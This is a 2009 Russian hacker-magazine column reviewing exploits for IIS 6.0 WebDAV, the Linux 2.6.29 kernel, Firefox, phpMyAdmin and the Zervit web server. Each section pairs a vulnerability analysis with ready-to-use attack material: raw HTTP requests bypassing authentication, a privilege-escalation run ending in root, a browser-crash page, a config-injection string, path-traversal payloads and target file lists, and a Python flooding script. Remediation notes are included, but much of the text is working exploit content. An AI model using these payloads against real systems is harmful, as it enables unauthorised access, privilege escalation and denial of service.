Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #126, ИЮНЬ 2009 г.

Обзор эксплоитов

Андрей Комаров (komarov@itdefence.ru)




Летняя пора - время отдыха. Как бы ни так, когда речь идет об уязвимостях! Соревнования между «злоумышленником» и «защитником» (применительно к нашему времени – между хакером и вендором) продолжаются. Число брешей неизмеримо растет. К сожалению, все осветить никак не получается, поэтому в этот раз я подготовил на обозрение наиболее важные.

Обход ограничений в Microsoft IIS 6.0 WebDAV

BRIEF

Изюминка этого класса атак в том, что возможность «забрать» искомое с сервера существует абсолютно безразлично по отношению к защищенности ресурса. WebDAV (Web-based Distributed Authoring and Versioning) устанавливается в связке с IIS, традиционным WEB-сервером для платформ линейки «Windows Server». WebDAV расширяет HTTP следующими командами:

  • PROPFIND - получение свойств объекта на сервере в формате XML. Также можно получать структуру репозитория (дерево каталогов).
  • PROPPATCH - изменение свойств за одну транзакцию.
  • MKCOL - создать коллекцию объектов (каталог в случае доступа к файлам).
  • COPY - копирование из одного URI в другой.
  • MOVE - то же, что и предыдущая, только перемещение.
  • LOCK - поставить блокировку на объекте. WebDAV поддерживает эксклюзивные и общие (shared) блокировки.
  • UNLOCK - снять блокировку с ресурса.

Все эти команды являются дополнительными методами взаимодействия с WEB-сервером. Узнать более подробно об этих и основных запросах HTTP-протокола ты можешь из моей давней статьи («Отпечатки пальцев http» - xakep.ru/magazine/xa/117/038/1.asp). Уязвимость состоит в том, что WEB-сервер некорректно обрабатывает URI с Unicode-содержанием.

EXPLOIT

Предположим, у нас есть директория относительно корня «c:\inetpub\wwwroot\secret\». Соответственно, «inetpub\wwwroot\» - то, что создает IIS по дефолту. В ней лежит файл secret.zip, при этом директория недоступна на чтение «извне» или же защищена паролем. Обращение к файлу относительно самого хоста: secrethost.ru/secret/secret.zip. Для обхода ограничений посылаем GET-запрос вида:

GET / %c0%af/secret/secret.zip HTTP/1.1
Translate: f
Connection: close
Host: secrethost.ru

Видно, что в URI мы вставили символ "/" (%c0%af), который будет удален из WebDav-запроса. Вторая строка указывает WEB-серверу на то, что запрос следует обрабатывать с помощью средств WebDav. Мы можем комбинировать и послать нечто вроде:

GET /sec%c0%afret/secret.zip HTTP/1.1
Translate: f
Connection: close
Host: secrethost.ru

В отчет придет содержимое защищенного объекта, даже если директория, в которой он располагался, была защищена паролем. Можно ли сделать что-либо еще? Смотри описание запроса PROPFIND - с ним можно получить структуру какой-либо папки. Если учесть, что, используя UNICODE, мы можем обходить весомые ограничения безопасности, – почему бы не применить это для листинга каталогов на сервере? PROPFIND (msdn.microsoft.com/en-us/library/aa142960(EXCHG.65).aspx) или BPROPFIND (msdn.microsoft.com/en-us/library/aa142725(EXCHG.65).aspx) достаточно подробно описаны, поэтому обо всех дополнительных включениях ты без труда сможешь узнать. Пример получения списка файлов внутри директории secret:

PROPFIND /sec%c0%afret/ HTTP/1.1
Host: secrethost.ru
User-Agent: Mozilla
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>

TARGETS

  • Microsoft IIS 6.0 WebDAV

SOLUTION

На данный момент не было выпущено официального исправления уязвимости, поэтому одним из решений может являться отключение WebDav. Для этого добавь следующее значение (Add value) по ключу «HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters»:

Value name: DisableWebDAV
Data type: DWORD
Value data: 1

Перезагрузи IIS и отключение вступит в силу. Для отключения протокола WebDAV можно также воспользоваться средством IIS Lockdown. За дополнительной информацией об этом средстве обратись к веб-узлу корпорации Microsoft (microsoft.com/technet/security/tools/locktool.mspx).
IIS lockdown tool - утилита от Microsoft, позволяющая легко и быстро переключить веб-сервер (IIS 4.0 или 5.0) в режим, когда работают только те сервисы, которые хочет предоставить администратор сервера, а все другие отключены. Такой подход может стать временным устранением уязвимости.

Локальное повышение привилегий в GNU/Linux kernel 2.6.29

BRIEF

Проблема вызвана функцией «ptrace_attach ()» [kernel/ptrace.c] и использованием «current->cred_exec_mutex» вместо «task->cred_exec_mutex», – все это может позволить злонамеренным пользователям получать привилегии рута с помощью совместных «ptrace ()» и «exec ()» вызовов. Код уязвимой функции представлен ниже:

175 int ptrace_attach(struct task_struct *task)
176 {
177 int retval;
178 unsigned long flags;
179
180 audit_ptrace(task);
181
182 retval = -EPERM;
183 if (same_thread_group(task, current))
184 goto out;
185
186 /* Protect exec's credential calculations against our interference;
187 * SUID, SGID and LSM creds get determined differently under ptrace.
188 */
189 retval = mutex_lock_interruptible(&current->cred_exec_mutex);
190 if (retval < 0)
191 goto out;
192
193 retval = -EPERM;
194 repeat:
...
230 bad:
231 write_unlock_irqrestore(&tasklist_lock, flags);
232 task_unlock(task);
233 mutex_unlock(&current->cred_exec_mutex);
234 out:
235 return retval;
236 }

На 189 и 233 строках ptrace_attach использует мьютекс текущего процесса для работы с «замком» и двумя процессами (текущим и тем, который передается в функцию в качестве аргумента). Из-за некорректного использования cred_exec_mutex текущего процесса вместо процесса, который должен быть отслежен, возникает ситуация «гонки» вовремя исполнения какого-либо процесса и неконтролируемого обращения к SUID.

EXPLOIT

Практика использования:

# id
* uid=1000(matthew) gid=1000(matthew) groups=4(adm),20(dialout),24(cdrom),25(floppy), 29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)

# компилим сплойт
gcc exploit.c -o exploit
# uname -a
* Linux matthew-desktop 2.6.29-020629-generic #020629 SMP Tue Mar 24 12:03:21 UTC 2009 i686 GNU/Linux

# while `/bin/true/`;do ./exploit;done
* [... much scroll removed, go make coffee, get a job, do something while running ...]
* /dev/sda1 on / type ext3 (rw,relatime,errors=remount-ro)
* proc on /proc type proc (rw,noexec,nosuid,nodev)
* /sys on /sys type sysfs (rw,noexec,nosuid,nodev)
* varrun on /var/run type tmpfs (rw,noexec,nosuid,nodev,mode=0755)
* varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)
* udev on /dev type tmpfs (rw,mode=0755)
* devshm on /dev/shm type tmpfs (rw)
* devpts on /dev/pts type devpts (rw,gid=5,mode=620)
* securityfs on /sys/kernel/security type securityfs (rw)
* gvfs-fuse-daemon on /home/matthew/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=matthew)
* [ WIN! 18281
* [ Overwritten 0xb8097430

# id
* uid=0(root) gid=1000(matthew) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),
* 44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)

Итак, привилегии были успешно захвачены.

TARGETS

  • rPath rPath Linux 2
  • rPath Appliance Platform Linux Service 2
  • rPath Appliance Platform Linux Service 1
  • Linux kernel 2.6.29

SOLUTION

Чтобы победить уязвимость воспользуйся патчем из GIT.

Mozilla Firefox Memory Corruption

BRIEF

Брешь обнаружили Marc Gueury и Daniel Veditz, после чего та стала официально опубликованной в базе CVE (CVE-2009-1313). Касается она крэша браузера путем эксплуатации @nsTextFrame::ClearTextRun().

50 /* rendering object for textual content of elements */
...
3494 void
3495 nsTextFrame::ClearTextRun()
3496 {
3497 // save textrun because ClearAllTextRunReferences will clear ours
3498 gfxTextRun* textRun = mTextRun;
3499
3500 if (!textRun)
3501 return;
3502
3503 UnhookTextRunFromFrames(textRun);
3504 // see comments in BuildTextRunForFrames...
3505 // if (textRun->GetFlags() & gfxFontGroup::TEXT_IS_PERSISTENT) {
3506 // NS_ERROR("Shouldn't reach here for now...");
3507 // // the textrun's text may be referencing a DOM node that has changed,
3508 // // so we'd better kill this textrun now.
3509 // if (textRun->GetExpirationState()->IsTracked()) {
3510 // gTextRuns->RemoveFromCache(textRun);
3511 // }
3512 // delete textRun;
3513 // return;
3514 // }
3515
3516 if (!(textRun->GetFlags() & gfxTextRunWordCache::TEXT_IN_CACHE)) {
3517 // Remove it now because it's not doing anything useful
3518 gTextRuns->RemoveFromCache(textRun);
3519 delete textRun;
3520 }
3521 }

Приведенная выше функция взята из файла layout/generic/nsTextFrameThebes.cpp. Рассмотрим подробнее, что же она делает. Сначала устанавливает указатель textRun на mTextRun (3498). Далее проверяет, не равен ли textrun NULL (3500). Снимает хук с фрейма и проверяет, присутствует ли textrun в кэше. Если да, то удаляет его из кеша, а затем удаляет и сам объект. Закомментированный участок кода также содержит ошибки. Ошибка в том, что mTextRun может содержать некорректные флаги от предыдущих операций, – это приведет к некорректному удалению (3519). Из-за подобных соображений разработчики Mozilla позднее ввели новую дополнительную константу:

+ // Set when this text frame is mentioned in the userdata for a textrun
+ #define TEXT_IN_TEXTRUN_USER_DATA 0x40000000
+

EXPLOIT

Код эксплойта приведен ниже.

<html><head><title> Bug 489647 - New 1.9.0.9 topcrash [@nsTextFrame::ClearTextRun()]</title></head>
<body>
<div id="a" style="white-space: pre;">
m</div>
<script>
function doe() {
document.getElementById('a').childNodes[0].splitText(1);
}
setTimeout(doe, 100);
</script>
</body>
</html>

После исполнения указанного кода происходит аварийное завершение работы браузера.

TARGETS

Mozilla Firefox до версии 3.0.10

SOLUTION

В новых версиях Firefox уязвимость своевременно устранена.

Внедрение кода в Phpmyadmin

BRIEF

Кто бы мог подумать, что во время установки Phpmyadmin мы можем произвести эксплуатацию кода! Рассмотрим внимательно сорец, использующийся установочным файлом для формирования конфига:

1 <?php
...
10 class ConfigFile
11 {
12 /**
13 * Stores default PMA config from config.default.php
14 * @var array
15 */
16 private $cfg;
...
259 /**
260 * Creates config file
261 *
262 * @return string
263 */
264 public function getConfigFile()
265 {
266 $crlf = (isset($_SESSION['eol']) && $_SESSION['eol'] == 'win') ? "\r\n" : "\n";
267 $c = $_SESSION['ConfigFile'];
268
269 // header
270 $ret = '<?php' . $crlf
...
279 // servers
280 if ($this->getServerCount() > 0) {
281 $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf . $crlf;
282 foreach ($c['Servers'] as $id => $server) {
283 $ret .= '/* Server: ' . $this->getServerName($id) . " [$id] */" . $crlf
284 . '$i++;' . $crlf;
285 foreach ($server as $k => $v) {
286 $ret .= "\$cfg['Servers'][\$i]['$k'] = "
287 . var_export($v, true) . ';' . $crlf;
288 }
289 $ret .= $crlf;
290 }
291 $ret .= '/* End of servers configuration */' . $crlf . $crlf;
292 }

Итак, функция getConfigFile() возвращает всякого рода информацию. Здесь составляется конфигурационный файл, и $ret инклудит PHP-код. На 281 строке мы видим комментарий, а затем еще один (/* Server: <getServerName()> "id" */). Обрати внимание: выходит так, что $id полностью контролируется пользователем сразу, как только переменная была получена из сессии (267). Скажем, если пользователь передаст ее установленной в виде "bleh */ <?php echo date(); ?> /*", то тем самым он завершит конфигурационный файл строкой «/* Server: <getServerName()> bleh */ <?php echo date(); ?> /* */».

TARGETS

phpMyAdmin 3.x (до 3.1.3.2.)

SOLUTION

Требуется ограничить передаваемые данные с помощью preg_replace():

foreach ($c['Servers'] as $id => $server) {
+ $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
$ret .= '/* Server: ' . $this->getServerName($id) . " [$id] */" . $crlf

И применить официально вышедшие обновления:

Раскрытие путей в Zervit Webserver 4.0

BRIEF

Классификация подобной атаки - Directory Traversal. В литературе и современных системах классификации вектор атаки называют Path Traversal. Самый большой риск, который она влечет за собой, скрывается не только в листинге директорий, но и в обходе ACL-листов. Эта техника атак направлена на получение доступа к файлам, директориям и командам, находящимся вне основной директории Web-сервера. Злоумышленник может манипулировать параметрами URL с целью получения доступа к файлам или выполнить команды, располагаемые в файловой системе Web-сервера. Для подобных атак потенциально уязвимо любое устройство, имеющее Web-интерфейс. Многие Web-серверы ограничивают доступ пользователя определенной частью файловой системы, обычно называемой «web document root» или «CGI root». Эти директории содержат файлы, предназначенные для пользователя, и программы, необходимые для получения доступа к функциям Web-приложения. Большинство базовых атак, эксплуатирующих обратный путь, основаны на внедрении в URL символов «../» – для того, чтобы изменить расположение ресурса, который будет обрабатываться сервером. Поскольку большинство Web-серверов фильтруют эту последовательность, злоумышленник может воспользоваться альтернативными кодировками, например, Unicode («..%u2216» или «..%c0%af»). Другие популярные приемы – использование обратного слеша («..\») в Windows-серверах, символов URLEncode («%2e%2e%2f») или двойная кодировка URLEncode («..%255c»).

Даже если Web-сервер ограничивает доступ к файлам определенным каталогом, эта уязвимость может возникать в сценариях или CGI-программах. Возможность использования обратного пути в каталогах довольно часто возникает в приложениях, использующих механизмы шаблонов или загружающих текст страниц из файлов на сервере. В этом варианте атаки злоумышленник модифицирует имя файла, передаваемое в качестве параметра CGI-программы или серверного сценария. В результате он может получить исходный код сценариев. Нередко к имени запрашиваемого файла добавляются специальные символы, такие как «%00», с целью обхода фильтров. Бывает, что при эксплуатации такого рода уязвимостей в ответ на их популярность применяются IDS-системы, которые урезают запросы с «хождением» по каталогам («/../../../») вариационной глубины. Требуется помнить, что кроме стандартного символа мы можем использовать, к примеру, «..\..\», «../..\../..\», а также разновидности кодированного содержимого.

2e%2e%2f - ../
%2e%2e/ - ../
..%2f - ../
%2e%2e%5c - ..\
%c1%1c - / (UTF-8)
%c0%af - \ (UTF-8)

Некоторые из представленных вариантов платформозависимы и пригодны далеко не на каждой системе.

EXPLOIT

Сама эксплуатация состоит в посылке злонамеренного GET-запроса:

GET /../../../../../boot.ini HTTP/1.1
User-Agent: Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1
Host: localhost:80
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en-US,en;q=0.9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers

Ответ

HTTP/1.1 200 OK
Server: Zervit 0.4
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 355

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /NOEXECUTE=OPTIN /FASTDETECT

Естественно, вместо обращения к boot.ini, могли бы быть:

1. Конфигурационный файл хостинг-панели Cpanel /var/cpanel/cpanel.config.
2. Файл настроек функционирования PHP

PHP\php.ini.

../../../../../../../../../WINDOWS\php.ini
../../../../../../../../../WINNT\php.ini
../../../../../../../../../apache\php\php.ini
../../../../../../../../../xampp\apache\bin\php.ini

3. httpd.conf - файл описания опций WEB-сервера Apache (+ его производных).

../../../../../../../../../Program Files\Apache Group\Apache\conf\httpd.conf
../../../../../../../../../Program Files\Apache Group\Apache2\conf\httpd.conf
../../../../../../../../../Program Files\xampp\apache\conf\httpd.conf

4. Логи доступа и ошибок.

../../../../../../../../../../Program Files\Apache Group\Apache\logs\access.log
../../../../../../../../../../Program Files\Apache Group\Apache\logs\error.log


Избыточный список путей конфигов и наиболее важных для неавторизированного просмотра файлов можно найти в подборке ettee (antichat.ru/thread49775.html). В адвайзори, которое было опубликовано на milw0rm, говорилось о Memory Corruption по такой схеме:

import socket

host = "127.0.0.1"
port = 8080

try:
for i in range(1,10):
# организуем десятикратное повторение заброса WEB-сервера POST-запросами с большим буфером
buff = "a" * 3330
request = "POST " + buff + " HTTP/1.0"
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((host, port))
connection.send(request)
except:
raw_input('\n\nUnable to connect. Press "Enter" to quit...')

Рассматривая проблему ближе, приведу детальный анализ, почему же так получается. Вот исходники:

Http.h:
69 struct http_data{
70 SOCKET sck;
71 char file[512];
72 char keep_alive;
73 char data[2048];
74 char user_agent[512];
75 unsigned long ptr;
76 };

Http.c:
13 void parse_http(struct http_data *msgs)
14 {
...
21 if(strcmp(ch,"GET")==0){
...
24 ch=get_word(msgs);
25 strcpy(msgs->file,ch);

Типичное использование небезопасной функции strcpy и буфера малого размера! Это все объясняет.

Содержание